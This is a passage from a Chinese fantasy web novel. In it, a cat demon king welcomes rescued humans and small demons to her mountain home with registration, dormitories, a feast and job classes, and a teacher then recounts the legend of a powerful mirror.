这玩意儿不是天生天养,只能碰运气才能遇到那么一两颗吗? 直接给种成了灵植田,还轻描淡写的说要扩建?这怕不是拿萝卜当灵植了吧。 不过这些话问出来就有些冒犯了,玄蛛想了想,还是没说出口。 管它是啥呢,反正到手了再看呗,她心想。 胡图挥着笔杆子,很快给玄蛛登记好了信息。 “大将军!你登记好了吗!走!我带你去山上逛逛!”风妧不知道从哪里冒出来,热情洋溢的要给玄蛛做向导。 玄蛛眯了眯眼,轻笑:“好啊,那就有劳二大王了。” 风妧嘿嘿直笑,摆手:“嗐!咱俩谁跟谁!不说那些!走,我带你去看看你的新宿舍!” 她俩说走就走,留下排在玄蛛身后的妖兵们一脸欲言又止。 唉,算了,大将军好像顾不上咱们了,还是自力更生吧。 这样想着,妖兵们的态度变得更和善了,丝毫看不出先前在玄蛛麾下那股子肃杀气质。 胡图一视同仁的给这些妖兵登记,又叫她们暂时等会,稍后再带她们去宿舍。 妖兵们不明白什么是宿舍,但从字面意义上猜,也估摸着就是住处之类的。 这让她们感觉很新奇。 怎么说呢,东坡子洞里的一切,都让她们感到很不一样。 而从今往后,她们也要成为这里的一员了。 这种略带期盼又有些好奇的心态不止妖兵们有,人类们也有。 风朔见新来的人类这么多,便亲自上阵,给她们登记造册,并安抚她们。 “今天给你们登记以后,你们就可以留在东坡子洞里。” “放心,这里跟你们先前待的地方不一样,没有妖会欺压你们。” “你们之前在那边干什么活,在这边也是一样,不过不会锁着你们,也不会让你们干白工。” “我们这里所有成员都是有月钱的,你们攒了钱,也可以趁放假的时候下山,回去看看家人。” “当然,要是你们不愿意留在山上,我们也不强求。” 风朔敲了敲桌沿:“有想离开的吗?有的就举手,稍后我们派人送你们下山。” 人类们面面相觑。 说实话,到现在她们都还觉得在做梦呢。 就连跟着关衡一起的铁匠们都有些恍惚,更别说那些一头雾水被解救出来的人们了。 她们甚至没法分辨风朔说的是真话还是试探她们的话。 因为对她们而言,她们只不过是从一个妖王的手下被掳到了另一个妖王手下而已。 于是她们只能沉默以对,谁也不敢吭声。 只有铁匠师傅们多多少少了解衔蝉是什么样的妖,纷纷表示自己愿意留下。 还有人问,放假是怎么个放法? 风朔答曰,我们这边干活都是分组轮流上工,做六休一。 这是衔蝉定下的规矩。 从聘请山下劳工开始,这个规矩就开始在东坡子洞里实行了。 这规矩自实行之后,大家对东坡子洞的归属感就更强了,现在开口闭口都是“咱们家如何如何”。 而建设自己的家园,大家都是不遗余力的。 因此这个规矩不仅没让大家偷懒,反而让大家干劲更足了。 铁匠师傅们闻言,惊讶极了。 这样的待遇,比在山下还好啊! 山下的铁匠学徒,连工钱都没有,更别说什么假期了! 而且山下的铁匠学徒也都只招男人,她们就算有一身不输男人的好力气,也照样得不到这样的机会。 可现在,只要留在山上,她们就能像山下的男人一样,光明正大的做一个真正的铁匠! 已经被蝎子妖祸害得没有家的铁匠们心想,或许,我们又可以有新的家了。 一个比以前更好的家。 铁匠师傅们纷纷做出了选择,而另外的技术工人们在衡量一番后,大部分也选择了留下来。 原因和铁匠师傅们一样。 她们已经没了家人,如果下山的话,她们这样孤身一人的女人,还不知道要受多少欺压。 还不如留在这个只有女妖和女人的山上,像山下的男人一般,干一番事业! 她们不是没有本事,只是没有机会,如今机会就放在眼前,谁不想拼一把? 因此大部分技术工人都留了下来,只有一小部分在山下仍有家人的人选择了离开。 风朔也不阻拦她们,只给她们备了一份盘缠,叫她们先歇一夜,明天再派人送她们下山回家去。 此举让选择留下的人类们心中更安定了。 一个能来去自由的地方,不会是什么坏地方! 最后还有一些被蝎子妖掳来的伶人乐工们。 她们基本上没有什么生活技能,在蝎子妖那也只负责做些文娱工作,因此这会便犹豫起来。 在听完山上的待遇后,她们有想留下来的,也有想走的。 想留下来的很好理解,想走的也情有可原。 因为她们的工作跟别的工作不太一样,现在山上缺的是力工和技术工,她们的专业不太对口。 留下来的部分,都是经历生死后不想再求名利,只想求个安稳的。 她们情愿放弃原本的技能,重新在山上做小工做杂活养活自己。 风朔点点头,表示理解。随后按照她们的意愿,给她们登记的登记,发盘缠的发盘缠。 人类们这边很快就登记好了。 旁边登记得最慢的,就是白果灰绒麦子那一大群小妖们了。 她们的数量最多,排的队伍也最长。 白果等几个小妖排在最前面,不多时就做好了登记,一时又不知道自己接下来该做什么,便有些犹豫的站在旁边,没走。 当初跟她们住一个山洞的苦力小妖们也都没走,有些好奇又有些局促的站在那,悄悄地打量着四周。 这时一只虎头虎脑的猫大王忽然从旁边的树上跳了下来。 “白果!灰绒!麦子!” 猫喊了一声:“走,我带你们去宿舍看看!” 原来是衔蝉担心当初一起干苦力的小伙伴们来了新地方会不适应,便主动跑来带她们踩地盘了。 衔蝉的贴心,让一众小妖们既感动又开心。 她们万万没想到,当初藏在心底的梦想居然真的实现了! “闲不住”真的成了她们的大王了! 她居然就是那位大名鼎鼎的衔蝉大王! 小妖们得知这消息时无不叹服,原来是衔蝉大王,难怪那样厉害! 而且她竟一点架子都没有,还肯认她们这些落魄的朋友! 小妖们大为感动,尤其是白果,已经在合爪拜谢命运的恩赐让她结识到衔蝉大王这样的朋友了。 不过拜完之后,白果想了想,变回原型,大着胆子凑到衔蝉身边悄声问道:“大王,您以前真的是我朋友吗?” 衔蝉扭头给她舔了一口毛毛:“别管以前是不是,反正现在已经是就行了。” 白果顿时呼出一口气。 其实她后来也多少猜到了。 她就说嘛,她怎么可能忘记这样厉害的朋友。 但衔蝉现在这样说,她真的很高兴。 她真的有这样厉害的朋友了。 白果低下头,使劲蹭了蹭衔蝉的腿。 灰绒和麦子见状,也大着胆子来蹭猫,然后很快猫就被一群大大小小的毛绒团子给淹没了。 大家就像在之前那个落锁的山洞里一样,簇拥着衔蝉。 片刻后,猫抖了抖毛毛,昂首挺胸的带着一大串毛绒绒新成员们走向宿舍。 一边走,还一边给她们介绍山上的一切。 “那边是我们的大广场,我们平时有什么大事都会在那里宣布,明天我们聚餐也会在那里。” “那里是我们的菜地,我们平时吃的蔬菜瓜果都是在菜地里种出来的喔。” “旁边的是鱼塘,还有猪圈鸡舍之类的,是养家禽家畜的。” “对,养它们就是吃肉的,所以吃肉的妖也别担心,只要好好干活,咱们这是不会饿肚子的。” 白果睁大了眼睛,看着一路上她从未见过的一切,新奇得不得了。 她不知道该怎么形容东坡子洞的山头,这里的所有东西都已经超出她的想象了。 在白果最初的想象中,小妖能过上的最好的生活,也不过是跟别的小妖一起,住一个稍微大点的山洞。 然后大家像从前那样一起干杂活,干了一天,或许还能分到一颗熟柿子。 再好一些,就是头上的头目和先锋不要天天打她们,或者打得稍微轻一点。 大家就这样在某个妖王麾下的角落里,灰扑扑的抱团求生。 能吃饱,能少挨点打,不受风吹雨淋,有一定的安全保障,就是小妖们梦里才敢想的好生活了。 这样的梦想,在“闲不住”到来的时候,就已经实现了。 她在先锋手下庇护她们,不让她们挨打,帮她们分担重活,还教她们烧柿子吃。 她还帮她们安排更轻松的活计,让她们不至于一辈子都只能在采石场和冶炼场干苦力。 在有她带头的那些日子里,小妖们觉得自己简直幸福极了。 那时候,白果她们就想,要是能这样跟随闲不住过一辈子,那死也值了。 所以后来她让她们去传谣言,在各个先锋头目的眼皮子底下传递消息,她们都毫不推辞。 哪怕知道做这些事一旦被发现就会死,她们依旧去做了。 后来蝎子妖果然败了,白果她们也才知道,原来闲不住就是她们最初想要去投奔的衔蝉大王。 那时候白果的心一下子又提起来了。 她怕衔蝉大王会看不上她们,不要她们了。 在跟着来东坡子洞的路上,白果都没有找到机会跟衔蝉大王说上一句话,她的心更忐忑了。 或许有人要嘲笑她的痴心妄想,但白果真的将衔蝉视作了挚友,恩猫,指路明灯。 她很想跟她说点什么,告诉她自己愿意永远做她的朋友,永远追随她,为她肝脑涂地也在所不惜。 但又因为陡然拉开的身份地位,她现在说什么都好像只是在投诚表忠心。 可不是那样的。 即便闲不住不是衔蝉大王,白果依然愿意一辈子追随她,为她做什么都心甘情愿。 并且还不止白果是这样想的,那些当初的采石场苦力小妖都是这样想的。 然而现在的一切,都来得太突然了,太幸福了,叫小妖们反而有些措手不及,如坠梦中。 衔蝉大王不仅没有忘记她们,还亲自来带她们去宿舍。 她甚至还愿意像之前那样和她们蹭蹭舔毛毛。 而且东坡子洞也比传说中更美好。 这里有满山的良田,里面长满了吃不完的粮食瓜果,还养了那么多家禽家畜,甚至比小妖们加起来还多! 这里还有新奇又敞亮的奇怪洞府(砖瓦房/仓库/广场),就连她们这样的小妖,都能分到专门的住处! 白果惊叹万分的看着一排排整齐的砖瓦宿舍,已经被震撼得说不出话了。 “喏!这里就是你们的宿舍!” 猫推开一栋合院的院门,给大家展示:“这里的院子是大家共用的,但房间不是哦。” “院子里的房间是隔开的,每间房子里只住八个妖。” “每间房子里都有床铺和家具,你们收拾收拾就可以住进来。” “以后大家认真工作,升职加薪后还可以换更好的四人间,两人间,甚至单间喔!” 猫给大家画饼:“要是谁将来能立大功劳,还可以分到独栋房子!” 小妖们齐刷刷的倒吸一口凉气。 白果很不可置信,这些天宫一样又大又阔气的洞府,居然还只是最普通的宿舍?! 以后好好干活,还能升职加薪,住更好的洞府?! 衔蝉点点头:“嗯呐!快进来看看叭!” 白果定了定神,第一个走进去,鼓起勇气伸爪摸了摸离门口最近的一张竹床。 竹床上还铺着厚厚的干草,晒得既干净又蓬松。 “大王,我可以上去试试吗?” 衔蝉:“当然可以!” 于是白果嗖的一声跳到竹床上,一下子把干草压出了一个不大不小的凹坑。 “这上面好软!”白果眼睛亮晶晶:“而且好干燥,好暖和!” 跟山洞里冰凉冷硬的泥巴地不一样,干草床铺又暖又软,让白果感觉自己像被云朵包围了一样。 其实她也没碰过云朵,但白果觉得,云朵也就这样了吧。 “喜欢就好。” 衔蝉又伸爪,把竹床上的竹帘子放下来。 “这个是床帘,睡觉的时候可以放下来挡光,防蚊子。” 第75章 宿舍里的一切, 都叫小妖们新奇得不得了。 白果伸爪拨开帘子,又关上,再拨开, 像是发现了新大陆。 灰绒一下子就窜到了白果的上铺, 开心得打了个滚。 “大王大王,我可以睡这上面吗?” 衔蝉点头:“可以呀, 每间宿舍有八个床位,你们可以自己选择跟谁一起住, 住上铺还是下铺。” 小妖们顿时欢呼一声,排着队跟着衔蝉去选宿舍。 但其实也没什么好选的,几乎每间宿舍的格局都一样。 可小妖们却兴致勃勃地给自己选好了新宿舍和新舍友。 这一排瓦房组成的院子,小妖们一下子就住满了一半。 另一半宿舍,衔蝉算了算, 刚好够给玄蛛手下的妖兵们和人类师傅们住。 当然玄蛛和关师傅就不能让她们住大宿舍了,至少也得提供个单间吧。 现在东坡子洞里的管理层,基本上都是住单间的呢。 衔蝉刚刚说的独栋,其实山上暂时还没有,就连她自己,也和师尊师妹姑姑们住的同一个院子。 因为现在山上的地暂时不够嘛, 主要还是得拿去做耕地养殖场仓库什么的。 不过猫相信很快就会有了! 现在她们又多了好几个山头的地盘呢!以后不愁没有独栋住! 所以她给大家画的饼虽然又大又圆, 但还是能吃上的! 猫揣着爪,看着小妖们兴奋地在新宿舍里上蹿下跳, 心里还挺有成就感的。 待小妖们都选定了住处后,衔蝉又带着大家在山上大致认了个路。 等小妖们差不多记住从宿舍到大广场的路了,大广场那边的炊烟也升起来了。 饭菜的气息也在山上飘了起来。 衔蝉一看就知道晚饭快好了,连忙带着大家去聚餐。 “走,吃饭去咯!” 小妖们这会的心情已经完全放松下来了, 一个个屁颠屁颠的跟着衔蝉,来到了大广场。 大广场上已经摆满了桌椅。 东坡子洞里原先吃饭的桌椅不够用,白三姑就带着大家,紧赶慢赶又扎了许多小板凳出来。 “大家挤一挤,先凑合吃一顿,明天咱们再做更多的桌子和椅子!” 碗筷也不够用,白三姑又带大家摘了许多新鲜的大叶子和竹筒来装饭菜,折了树枝做筷子。 就这样东拼西凑的竟也整出了一顿热热闹闹的席面出来。 这时大家都差不多在大广场上了,一眼望去全是人脑袋和妖脑袋。 衔蝉拍了拍白果灰绒麦子,示意她们也找个位置先坐下,随后自己迈着四方步走向首席。 在首席前变回人形,衔蝉举起竹筒发表了一下餐前讲话。 “今天咱们东坡子洞里又来了很多新成员!大家鼓掌欢迎一下她们!” 掌声雷动。 衔蝉又说:“咱们的老成员要发挥东坡子洞互相帮助的精神,帮助新成员们融入咱们这个大家庭!” “以后咱们就是一家人,一家妖,要一起把东坡子洞发展得更强,把日子过得更好!” 又是一阵雷鸣般的掌声。 “好!话不多说,大家吃好喝好!” 衔蝉率先仰头喝干净竹筒里的果汁,宣布开席! 于是一众妖兵,妖将,人类,小妖,纷纷入席。 玄蛛和关师傅都被安排到了首桌,与东坡子洞的管理层同席。 风妧拉着玄蛛,硬是给她证明了她们平时也是吃这样的饭菜,她给她做饭的时候真的没有糊弄! 玄蛛:“” 话是这样讲,但老实说,现在桌上这些饭菜虽然卖相一般,但闻上去味道可比风妧做的好太多了。 风妧梗着脖子:“那是食材的问题!我们这边的食材更水灵!” 所以真不是她厨艺的问题! 玄蛛沉默了片刻,在鸡汤碗里夹起一根鸡腿,慢条斯理的尝了尝。 “怎么样!是一样的吧!除了食材以外别的都是一样的!” 玄蛛咽下鸡腿,选择撒一个善意的谎言:“嗯,你说得对。” 风妧顿时喜笑颜开。 旁边关师傅也在跟风朔抱拳,并且看向风朔的眼神十分好奇。 在柿子山上的时候,她们就没少听衔蝉说起这位人类太上皇,现在总算见到真人了,还有点小激动呢。 而且听说风朔还是个特别厉害的降妖师,关衡就对她更好奇了。 风朔笑了笑,随口跟关衡几人聊起了家常。 旁边桌上,原本还有几分紧张的人类们竖着耳朵听着她们聊的话题,悄悄松了口气。 这位人类太上皇,果然和传言中一样平易近人。 东坡子洞也确实如衔蝉所说,是个很有爱的大家庭。 至少从现在大家看到的一切来判断,这里的生活比蝎子妖那边好得多。 她们作为人类,也并没有被哪个妖排斥,大家看待她们的眼神都跟同族一般无二。 这样她们就放心了。 再旁边点的妖兵们三三两两的跟东坡子洞里的老成员们拼桌,这会也已经聊上了。 东坡子洞的战斗小队成员对这些身经百战的妖兵们十分有好感,双方也算不打不相识,没一会就聊得快要结拜了。 有的妖甚至已经跟新战友约好了明天一起去巡山。 再往旁边看白果她们那一群小妖,此时都已经快把脑壳扎进饭菜里了。 白果狼吞虎咽的吃着煮得香喷喷的杂粮饭和清甜脆嫩的白灼菜,边吃边抹泪。 原来世界上还有这样好吃的食物! 从前她们在山里,只能吃些野果子树叶子勉强度日,连口热乎的都吃不上。 衔蝉教她们烧青柿子吃,那时她们就已经觉得烧熟的青柿子是顶顶好吃的东西了。 可现在吃到正儿八经的饭菜,白果才知道什么叫绝世美味! 五颜六色的杂粮饭里有南瓜有红薯有玉米,热腾腾的一大盆,光是看着就叫人流口水。 清水煮熟的菜蔬只略撒了些盐花,吃的就是食材本身的鲜甜。 还有炖煮得软烂的鸡肉鸭肉,清蒸的鱼,白灼的虾,炭烤的猪肉和牛肉 除了这些,还有专门给植物小妖准备的营养土,骨粉肥料,也一堆一堆的摆在大叶子上。 不管是吃素的还是吃肉的或是吃土的小妖,都能在桌上找到自己爱吃的东西。 灰绒变回了原型,捧着一块煮熟的南瓜吃得喷香。 麦子只尝了一口水煮菜眼睛就亮了,接下来就专门选绿色的菜叶子吃。 这些菜叶子,比她从前吃过的任何青草都更加美味! 小妖们吃得头都不抬,胃里是前所未有的饱足和熨帖。 一顿并不精致的山野席面,狠狠的抓住了小妖们的胃和心。 她们心想,哪怕是为了这口吃的,也值得拼上性命去干活了! 何况东坡子洞里还不止有好吃的,还有专门分给她们住的新宿舍,听说以后还有月钱拿。 虽然暂时不知道什么是月钱,但小妖们都坚信大王给的一定都是好的! 这顿大席一直吃到月上中天。 恰好又是个满月夜,明亮柔和的月光撒在山间,让小妖们都看到了彼此鼓起的肚皮。 “好饱,好幸福呀。” 白果摸了摸鼓囊囊的肚皮:“原来吃饱了是这样的感觉。” 灰绒直点头:“是呀是呀。” 以前她们天天挨饿,那些大妖们要么驱赶她们,要么压榨她们,让她们开智以来就没吃过饱饭。 饿惯了的小妖本来以为一辈子也就这样了。 可现在她们也有大王,也能吃上饱饭了! 月光下,灰绒眼眶发红:“我要跟随大王一辈子!大王让我做什么,我就做什么!” “我也是!我也是!” 小妖们纷纷举手:“就算大王要吃我,我也甘愿的!” “说什么呢。”一颗浑圆的猫头忽然冒出来:“本王可不吃妖,也不吃人。” 吃饱了饭,挨桌巡视的衔蝉过来了,刚好就听到了小妖们的话。 猫一爪子敲到说傻话的小妖头上:“你们以后好好干活,咱一起把家里建设得更好,这就够了。” 小妖捂着被敲了的脑门,还傻呵呵的笑:“嗯呐!大王!建设咱们的家!” 衔蝉看着她傻乎乎的样子,给她舔了舔脑勺。 “对,东坡子洞就是咱们的家。” 下一秒,猫又被淹没了。 有家了的小妖们激动得不得了,差点把猫大王蹭出火星子。 毛都被蹭得飞起来的衔蝉:嘶,起静电了都! 不过大家的心情她能理解,于是她也没躲,愣是被蹭成了一颗炸毛的海胆。 看上去更蓬松,更圆润,更敦实了。 之后猫抖了抖毛毛,又蹲在小妖们面前,爪把爪的示范,教小妖们借月光修炼。 “你们先学会基础,然后回宿舍了再开窗晒月亮,修炼很重要,每天都不能懈怠嗷。” 小妖们听得可认真了,闻言直点头。 从前这些她们想学都没地方学,现在大王亲自教,她们哪有不认真的道理! 不过她们的基础确实很薄弱,在修炼有成之前,她们都只能先干一些力气活。 比如开荒种地养牲畜搬砖之类的。 那些需要知识和法力,待遇也更高的技术活,比如文书战斗之类的,就需要她们多加努力了。 小妖们闻言也不气馁,反而对未来更期待了。 能吃饱,有住处,还能学本事,这是她们做梦都梦不到的好日子了。 衔蝉见她们都这样勤恳好学,十分满意。 后半夜,小妖们回到了宿舍,果然按照衔蝉的吩咐,开着窗户晒着月亮睡觉。 在梦里都不忘修炼。 第二天一早。 白果从温暖干燥的被窝里醒来,发现自己身边暖烘烘的。 原来是灰绒麦子她们,大家之前挤在一起睡习惯了,昨晚上睡着睡着又挤成一团了。 白果伸爪推了推舍友们。 “起床啦!我们去干活!” 灰绒麦子几个小妖睡眼惺忪的揉了揉眼睛,抖了抖毛毛,还有点懵。 干活?又要去采石头了吗? 白果:“醒醒,我们已经不在柿子山了!大王说咱们东坡子洞的活跟柿子山上有些不同,咱们还要先去学学呢!” 小妖们顿时一个激灵。 她们终于逃离柿子山了! 昨天的记忆回笼,她们一下子又高兴起来,跟着白果一起下床,去大广场那边。 因为昨天给她们登记的妖说过啦,叫她们今天去大广场领任务。 白果她们赶到大广场的时候,广场上已经有不少妖在排队了。 不过大家不是来领任务的,是来吃早饭的。 东坡子洞的老成员们熟门熟路的带着自己的饭盒,排着队等打饭。 前面的大锅里冒着热气,负责打饭的妖还会让大家自己选要哪个菜。 排队的妖指着哪个锅,打饭的后勤妖就会给她舀一大勺那个锅里的菜。 饭量大的妖,还能叫打饭的妖给自己多打一勺两勺。 打好饭菜的妖就会很自觉的捧着饭盒或者叼着饭盒,去旁边跟同伴们一起吃早饭,顺便唠唠嗑。 这场景看得新成员们,尤其是白果这群小妖们都特别懵。 昨天不是吃过饭了吗? 今天早上怎么又吃? 饭不是一天只能吃一顿的吗? 有时候甚至好几天才能吃一顿。 白果想了想:“唔,或许这是头领们的待遇,咱们等头领们吃完饭再去领任务吧。” 小妖们顿时恍然大悟。 原来是这样啊! 她们乖乖的蹲到旁边去等着了。 然而白三姑看到蹲在旁边迟迟不来打饭的小妖们,便朝她们招了招手。 “你们怎么不来打饭?没有饭盒也没关系的,可以先用大叶子,过来吧。” 白果等小妖很不可置信的指着自己的鼻子:“我,我们?” 白三姑点点头:“嗯,快来打饭吧,早上随便吃点,大王说中午继续做席面,大家吃好的。” 衔蝉说要庆祝三天,她们后勤的妖就清点了吃饭的人和妖的数量,再去仓库准备了一大堆食材呢。 保证大家能敞开了吃三天的大席! 只是早上时间太赶了,一大早就开席,她们后勤的妖会有点忙不过来,所以庆祝大餐都安排在中午和晚上了。 等上午下午大家去干活的时候,后勤妖们就会给大家准备丰盛的饭菜。 白果等小妖愣住了。 一天吃三顿?! 她们也有份?! “是啊,每个人每个妖都有份的,咱家没有饿着肚子干活的规矩。” 白三姑说着,就拿出了一摞新鲜的大叶子,招呼白果她们来选自己想吃的菜。 今天早上她们后勤的妖按照素食妖,肉食妖和植物妖的口味,做了三种不同的早餐。 白果顿时咽了咽口水。 白三姑一看她化形没化完的胳膊上的毛毛,估摸着她的跟脚,给她打了一大勺南瓜干饭。 白果接过大叶子,感觉幸福得都有点不真实了。 好像在做梦一样吃完早饭,小妖们这才看到负责各处的头领们来给大家分派任务。 任务也是照着大家昨天登记的技能和原先的岗位来定的。 像妖兵们就被编入了战斗小队,被玄蛛带着,跟其余战斗小队一起去操练了。 人类师傅们分到了跟自己专业对口的任务,照旧做老本行去。 东坡子洞里的老成员们也有自己做熟了的任务,施肥的收菜的喂鸡的养鱼的,并且都有相应的小头目领着干活去。 还有更多小妖们听都没听过的任务,什么识字,算账,入库,物流,斥候 小妖们眼睛里都快要冒蚊香圈了。 那她们要领什么任务呢? 这时一个狐耳头领过来了。 她告诉小妖们:“你们要先去课堂上上课,然后再确定以后做什么工作喔。” 阿琅认真的给小妖们解释:“山上的活计很多,但大家可以选择做自己最擅长的工作。” “去课堂,听老师们讲讲每一门课,然后再选自己干得最好的那一门课当工作,一般新成员都这样安排的。” 小妖们这下懂了。 她们跟着阿琅,来到了另一排屋子前。 这一排屋子的房间里,果然都已经有做老师的妖在等着大家了。 老师们还跟新成员们打招呼:“大家好啊,我们这里是种地课堂,以后想下田种粮食的就来我们这边学种地。” “我这边是后勤课堂,以后想给大家做饭编筐子做桌椅就来我们这学哦。” “还有养殖课堂,学会了以后就去养鸡鸭鱼牛羊猪,大家昨天吃的肉菜就是我们养的牲畜做的。” “文化课也很重要!来学认字,以后可以做文书,管账,直接在胡头领手下干活。” 老师们举例说着自己的课堂课程,听得小妖们眼睛都亮了。 白果当场举手:“我想学种地!我要去种粮食!” 灰绒也举手:“我想学后勤!学做饭,给大家做吃的!” 接下来更多的小妖选择了自己想学的技能。 很快,小妖们就被老师们领到了不同的房间里,先学一些理论知识,再带去实践。 这样用不了多久,小妖们就可以像老成员们一样,每天跟着各自的头领队长做固定的任务了。 要是谁工作做得特别好,月底就能拿小红花,拿满十朵小红花就能得奖励。 奖励拿多了,或者做出了什么贡献,就可以升职做小队长,队长,先锋,甚至各处的头领。 这就是衔蝉和风妧阿琅三参三姑她们一起琢磨出来的新成员升迁流程。 白果听着这么清晰的升迁路线,只觉得浑身都充满了干劲! 之后老师们又给大家教了专业的知识。 白果很快就学了一肚子的育种定植施肥浇水听说这些还都是大王亲自教授下来的本事,她就听得更认真了。 原来种地也有这么多讲究!大王真厉害! 一堂理论课程讲完,老师又带大家去地里,亲手实践如何种好一株作物 “呼,总算是把大家都安顿好了。” 东坡子洞专门用来议事开会的大厅里,衔蝉抹了抹头上的汗。 山上一下子来了这么多新成员,可把大家给忙坏了。 几乎是所有的老成员都被分配去带新成员了,不然新成员们这会还懵着呢。 “做得好。”风朔拍了拍爱徒的肩,夸道:“现在你已经是个很成熟的妖王了。” 而且这次大败蝎子妖的事情她们也做得超出了风朔的预料。 本来风朔觉得,拿蝎子妖给徒儿们练练手,让她们斩首蝎子妖,就算很不错的了。 她虽然嘴上说不打算出手,但其实已经做好了给徒儿们兜底的准备。 只要衔蝉师姐妹三个把蝎子妖拿下了,剩下的小喽啰,她自会解决掉。 对风朔这种级别的降妖师而言,除了真正的妖王级别的大妖之外,别的都只能算是小喽啰。 不管来再多,也不过是多几张符箓的事。 或许从前风朔还需要顾及一下灵力问题,不太能放开出手,但现在,她已经不用担心这个了。 这段时间,她在东坡子洞里静养,每天吃的都是爱徒亲自催生的灵植,效果堪比灵丹,她的双腿都已经都些知觉了。 这让她的实力起码恢复了七成。 再这么休养一段时间,她估摸着双腿都能逐渐被充裕的灵力治愈。 所以风朔可以很自信的给徒儿们做靠山,也敢放心的把她们推出去历练。 但她着实没想到,衔蝉师姐妹三个居然青出于蓝而胜于蓝,竟丝毫不消她出手,就解决了实力远超己方的柿子洞! 她们不仅解决了蝎子妖,还弄死了三个男妖将,甚至还拐回来一个玄蛛! 而东坡子洞此战几乎0伤亡,带回的战利品无数,拐回来的新成员也数不清,这结果,让风朔都惊讶极了。 风朔看着徒儿们,越看越满意,为人师表的成就感溢满胸腔。 被师尊夸了的衔蝉胸膛挺得笔直。 但嘴上还是要谦虚一下:“主要还是师尊教得好!这次运气也好!” 这也是实话,这回她们刚好碰到一个可以合作的玄蛛,又刚好她知道蝎子妖的弱点。 有了她的配合,衔蝉她们那些发动群众造势和下毒的辅助操作才能打出更大的伤害。 不然解决不了蝎子妖,别的都是空谈。 如果不是有玄蛛提供情报加暗中放水,衔蝉还真没把握能无伤拿下蝎子妖。 也不可能得到那面神奇又厉害的宝镜。 想到这个,衔蝉又兴奋起来,捧着八卦镜给师尊看。 “师尊!你看这个镜子,是不是降妖师的东西啊?” 她把这面镜子的功能跟风朔一说,然后表示,她想让这面宝镜认她为主。 不然这么大个宝贝放在眼前她却不能放心使用,想想就心绞痛啊。 风朔笑着拍了拍猫头,接过八卦镜细瞧了一眼。 不看不知道,一看吓一跳。 “嘶!”风朔用手指描摹着八卦镜背面的阴阳鱼,惊呼:“这莫不是灵霄长老的镇山八卦镜?!” 衔蝉耳朵一竖:“什么什么?师尊,这个镜子来头很大吗?” 风朔摇头:“何止是来头大。” 如果它真是镇山八卦镜,那可是传说级别的宝物! 猫一下子就来了兴趣:“真的吗!有多厉害?诶,灵霄长老又是谁?师尊你认识她吗?” 风朔深吸一口气,心情复杂的娓娓道来。《 》 75-80 第76章 数百年前, 天师堂里有一位极厉害的太上长老,灵霄。 她是当时最厉害的人族大天师,不仅法力高强, 还深谙炼器之道。 她炼制的每一件法宝, 都能放进天师堂的藏宝阁里。 彼时人族势弱,妖族的王又不大爱管事, 因此人间既有与人族友善的好妖,也有杀人吃人的恶妖。 为了镇压在人间非作歹的恶妖, 也为了给人族增添些底气,众人便求灵霄长老,为天师堂炼制一件可以镇山的至宝。 灵霄长老欣然同意了。 不过至宝难炼,所需天材地宝颇多,并且还有很多需要用到的宝贝都在妖族的地盘上。 天师堂尽可能的为灵霄长老凑齐了大部分炼器需要的宝贝, 但还有几样最要紧的却始终拿不到。 “罢了,那我自去妖族寻宝吧。”灵霄长老做了决定。 比起天师堂里的那些后辈,她亲自去,才更有把握。 而且那几样要紧的宝贝只在人族这边罕见,听说妖族那边并不如何宝贝它们。 只不过宝贝始终是宝贝,几乎都长在妖王麾下大妖的地盘上。 因此灵霄长老便踏进了妖族地盘。 那时候人族与妖族之间并没有设什么关卡, 双方已共同生活许多年, 也勉强算得上是睦邻友好。 灵霄长老独自一人走进妖族地盘,也就没引起太大的波澜。 她靠自己的炼器本事, 顺利的跟几个大妖交换到了所需的宝贝。 剩下最后一样,却犯了难。 ——那件裂空石,在妖王手里。 而妖王她常年行踪不定。 跟人族这边比较有秩序的情况不一样,妖族这边的社会结构相当松散。 妖族普遍不喜约束,于是妖族之间并无多少秩序, 几乎全靠拳头说话。 妖王也是如此。 跟人间王族靠世袭不同,妖族的王,从来都是最能打的那个。 而且妖王上位后也并不会像人间王族那样费心费力的管理自己的江山。 妖王治理妖族的方式相当粗犷,她只会在妖族中有大乱子发生时,出来把闹事的各方全部揍死。 换句话说,妖族们几乎都是被妖王放养的。 妖王自己,也不像人间的王那样常年待在自己的王宫里,而是随心所欲,想去哪就去哪。 这就让灵霄长老想求见妖王一面都难。 更别说想办法从她手里换到裂空石了。 不过经过灵霄长老的多方打听,她终于知道了妖王的踪迹。 “咱们陛下走到哪就揍到哪,你就照着这个动静打听准没错。” 灵霄:“行,多谢告知。” 她又踏上了寻找妖王的漫漫之路。 后来灵霄长老曾回忆,当年她第一次见到那位妖王时,她刚揍死了一群扰她清梦的大妖,浑身杀意都还未褪去。 在满地血泊中,妖王垂眸一瞥,那双竖瞳里纯粹到极致的杀气让人族最强的大天师都为之颤栗。 但幸运的是,妖王并没有对灵霄动手。 她随手扔掉一个原型都被打烂了的大妖,走到灵霄面前,俯视她许久。 灵霄那时才明白,为何人族势弱。 在这样强大的妖王的面前,任何天师,大天师,都跟孩童无异。 光是她的气息,都能震得她汗毛倒竖。 正当灵霄被妖王扑面而来的威压所摄时,妖王忽然伸出带爪勾的手指,戳了她一下。 灵霄顿时感觉自己像是挨了一记金刚棍一样栽倒在地。 倒下的灵霄清清楚楚听到了一声嗤笑。 “又矮又瘦,太弱。”据说从来不屑对弱者动手的妖王索然无味,转身就走。 灵霄无语凝噎。 出于某种微妙的自尊心,她一咕噜翻身爬起来,小声辩解:“在您的面前,谁来了都会显得又矮又瘦的好吧!” 她身高七尺,在人类之中已经算是很不错的了! 所以这不是她的问题! 就算是人间最健壮的力士,站在身高九尺余的妖王面前,也会被衬托得像个小孩的。 没想到妖王听到这话,竟停下了脚步。 灵霄见她回转身来,对她说:“你说什么?再说一遍。” 灵霄发誓,她从妖王的眼神里看出了些许得色。 所以,妖王竟是个爱听好话的么? 想来竟有些有趣是怎么回事。 使两族皆闻风丧胆的妖王,堂堂岭山之主,竟也有如此孩子气的一面? 灵霄心中腹诽,但面上不显,又将先前的话说了一遍。 她还真情实感的补充了一句:“所以不是我太瘦太弱,而是您太高大,太强悍了。” 妖王听完,哈哈大笑。 “你这小小人类,倒很会说话。” 说罢,她背着双手,悠悠离去。 灵霄见她要走,连忙追上去,边说好话,边讲明来意。 “晚辈欲求取些许裂空石,还请妖王割爱一二,晚辈可以用别的宝物与您换!” 妖王却一脸纳闷:“什么裂空石?” 她的地盘上有这玩意儿吗? 灵霄忙把裂空石的外形质地特点细细道来。 妖王“哦”了一声:“你们给本王的磨爪石取了这么个怪名字啊。” 她很惊奇似的:“你们人类,真有意思。” 